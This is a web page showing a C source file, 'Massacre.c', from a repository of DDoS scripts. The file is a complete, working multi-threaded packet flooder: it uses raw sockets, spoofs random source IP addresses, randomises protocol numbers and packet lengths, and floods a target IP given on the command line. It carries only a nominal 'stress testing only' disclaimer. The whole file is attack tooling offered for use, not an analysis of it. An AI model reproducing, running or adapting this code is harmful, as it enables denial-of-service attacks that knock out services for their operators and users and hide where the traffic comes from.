Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/TCP/Massacre.c
4565 views
1
#include <unistd.h>
2
#include <time.h>
3
#include <sys/types.h>
4
#include <sys/socket.h>
5
#include <sys/ioctl.h>
6
#include <string.h>
7
#include <stdlib.h>
8
#include <stdio.h>
9
#include <pthread.h>
10
#include <netinet/ip.h>
11
#include <netinet/in.h>
12
#include <netinet/if_ether.h>
13
#include <netdb.h>
14
#include <net/if.h>
15
#include <arpa/inet.h>
16
17
#define MAX_PACKET_SIZE 65534
18
#define PHI 0x9e3779b9
19
20
21
static unsigned long int Q[4096], c = 362436;
22
volatile int limiter;
23
volatile unsigned int pps;
24
volatile unsigned int sleeptime = 100;
25
26
void init_rand(unsigned long int x)
27
{
28
int i;
29
Q[0] = x;
30
Q[1] = x + PHI;
31
Q[2] = x + PHI + PHI;
32
for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
33
}
34
unsigned long int rand_cmwc(void)
35
{
36
unsigned long long int t, a = 18782LL;
37
static unsigned long int i = 4095;
38
unsigned long int x, r = 0xfffffffe;
39
i = (i + 1) & 4095;
40
t = a * Q[i] + c;
41
c = (t >> 32);
42
x = t + c;
43
if (x < c) {
44
x++;
45
c++;
46
}
47
return (Q[i] = r - x);
48
}
49
unsigned short csum (unsigned short *buf, int count)
50
{
51
register unsigned long sum = 0;
52
while( count > 1 ) { sum += *buf++; count -= 2; }
53
if(count > 0) { sum += *(unsigned char *)buf; }
54
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
55
return (unsigned short)(~sum);
56
}
57
58
59
void setup_ip_header(struct iphdr *iph)
60
{
61
iph->ihl = 5;
62
iph->version = 4;
63
iph->tos = 0;
64
iph->tot_len = sizeof(struct iphdr);
65
iph->id = rand();
66
iph->frag_off = 0;
67
iph->ttl = MAXTTL;
68
iph->check = 0;
69
iph->saddr = inet_addr("192.168.3.100");
70
}
71
72
73
74
void *flood(void *par1)
75
{
76
char *td = (char *)par1;
77
char datagram[MAX_PACKET_SIZE];
78
struct iphdr *iph = (struct iphdr *)datagram;
79
80
struct sockaddr_in sin;
81
sin.sin_family = AF_INET;
82
sin.sin_port = rand();
83
sin.sin_addr.s_addr = inet_addr(td);
84
85
int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
86
if(s < 0){
87
fprintf(stderr, "Cannot open sockets, are you root?\n");
88
fprintf(stderr, "Exiting...\n");
89
exit(-1);
90
}
91
memset(datagram, 0, MAX_PACKET_SIZE);
92
setup_ip_header(iph);
93
94
95
iph->daddr = sin.sin_addr.s_addr;
96
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
97
98
int tmp = 1;
99
const int *val = &tmp;
100
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
101
fprintf(stderr, "Error: Cannot rewrite the packet headers\n");
102
fprintf(stderr, "Exiting...\n");
103
exit(-1);
104
}
105
106
init_rand(time(NULL));
107
register unsigned int i;
108
i = 0;
109
while(1){
110
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
111
112
iph->protocol = rand() % (144 + 1 - 0) + 0;
113
iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF);
114
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
115
iph->tot_len = rand() % (1500 + 1 - 0) + 0;
116
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
117
118
pps++;
119
if(i >= limiter)
120
{
121
i = 0;
122
usleep(sleeptime);
123
}
124
i++;
125
}
126
}
127
int main(int argc, char *argv[ ])
128
{
129
if(argc < 5){
130
fprintf(stderr, "Massacre - Mass Protocol Flooder V.1\n");
131
fprintf(stderr, "Made by JiiN - Private for Cyber-Hub.pw\n\n");
132
fprintf(stderr, " ============================================================================\n");
133
fprintf(stderr, " >> For network stress testing only! <<\n");
134
fprintf(stderr, " >> Users are legally responsible for the illegal usage of this tool <<\n");
135
fprintf(stderr, " ============================================================================\n");
136
fprintf(stdout, "\nUsage: %s <target IP> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
137
exit(-1);
138
}
139
fprintf(stdout, "Setting up sockets...\n");
140
141
int num_threads = atoi(argv[2]);
142
int maxpps = atoi(argv[3]);
143
int time = atoi(argv[4]);
144
limiter = 0;
145
pps = 0;
146
pthread_t thread[num_threads];
147
148
int multiplier = 100;
149
150
int i;
151
for(i = 0;i<num_threads;i++){
152
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
153
}
154
fprintf(stdout, "Sending packets...\n");
155
fprintf(stdout, "Massacre started!\n");
156
for(i = 0;i<(time*multiplier);i++)
157
{
158
usleep((1000/multiplier)*1000);
159
if((pps*multiplier) > maxpps)
160
{
161
if(1 > limiter)
162
{
163
sleeptime+=100;
164
} else {
165
limiter--;
166
}
167
} else {
168
limiter++;
169
if(sleeptime > 25)
170
{
171
sleeptime-=25;
172
} else {
173
sleeptime = 0;
174
}
175
}
176
pps = 0;
177
}
178
179
return 0;
180
}
181
182